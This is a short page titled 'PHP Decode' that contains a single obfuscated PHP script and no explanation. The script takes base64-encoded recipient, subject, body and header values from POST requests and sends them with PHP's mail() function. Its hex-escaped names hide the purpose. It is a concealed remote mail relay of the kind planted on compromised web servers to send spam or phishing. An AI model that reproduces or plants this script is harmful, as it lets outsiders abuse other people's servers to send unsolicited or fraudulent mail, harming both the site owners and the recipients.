PHP Decode

<?php ${"\x47\x4c\x4fB\x41LS"}["\x78\x61s\x79\x6dpob\x71\x72"]="\x4des\x73a\x67\x65\x48ead\x65\x72";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6b\x66\x62jb\x6d\x78o\x79"]="M\x65\x73\x73\x61g\x65Su\x62j\x65\x63t";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x74m\x71\x76p\x78\x6c\x63y"]="M\x65ss\x61\x67e\x42\x6f\x64\x79";${"GLO\x42\x41\x4cS"}["d\x71\x68oowc"]="\x4d\x61i\x6cT\x6f";$tnfknvo="M\x65\x73\x73a\x67\x65\x48e\x61de\x72";if(isset($_POST["m\x61il\x74o"]))${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64q\x68\x6fowc"]}=base64_decode($_POST["\x6da\x69\x6ct\x6f"]);else{echo"\x69ndat\x61\x5f\x65\x72\x72\x6fr";exit;}if(isset($_POST["\x6dsg\x68e\x61\x64er"]))${$tnfknvo}=base64_decode($_POST["m\x73g\x68\x65ad\x65r"]);else{echo"in\x64\x61ta\x5fe\x72\x72\x6fr";exit;}if(isset($_POST["ms\x67bo\x64\x79"]))${${"\x47L\x4f\x42\x41\x4c\x53"}["\x74\x6dqvpxl\x63\x79"]}=base64_decode($_POST["ms\x67\x62\x6fdy"]);else{echo"\x69\x6eda\x74\x61_er\x72o\x72";exit;}if(isset($_POST["m\x73g\x73ubj\x65\x63t"]))${${"\x47\x4cO\x42A\x4cS"}["\x6bf\x62\x6ab\x6d\x78\x6f\x79"]}=base64_decode($_POST["ms\x67\x73ubj\x65\x63t"]);else{echo"\x69nd\x61\x74\x61_er\x72o\x72";exit;}if(mail(${${"\x47\x4cO\x42\x41\x4cS"}["\x64\x71h\x6f\x6f\x77c"]},${${"\x47\x4c\x4f\x42A\x4cS"}["\x6b\x66\x62\x6a\x62\x6d\x78o\x79"]},${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x74m\x71\x76\x70xlc\x79"]},${${"GL\x4f\x42\x41L\x53"}["\x78\x61\x73y\x6d\x70o\x62\x71r"]}))echo"sent\x5fok";else echo"\x73e\x6et\x5f\x65r\x72o\x72";
?>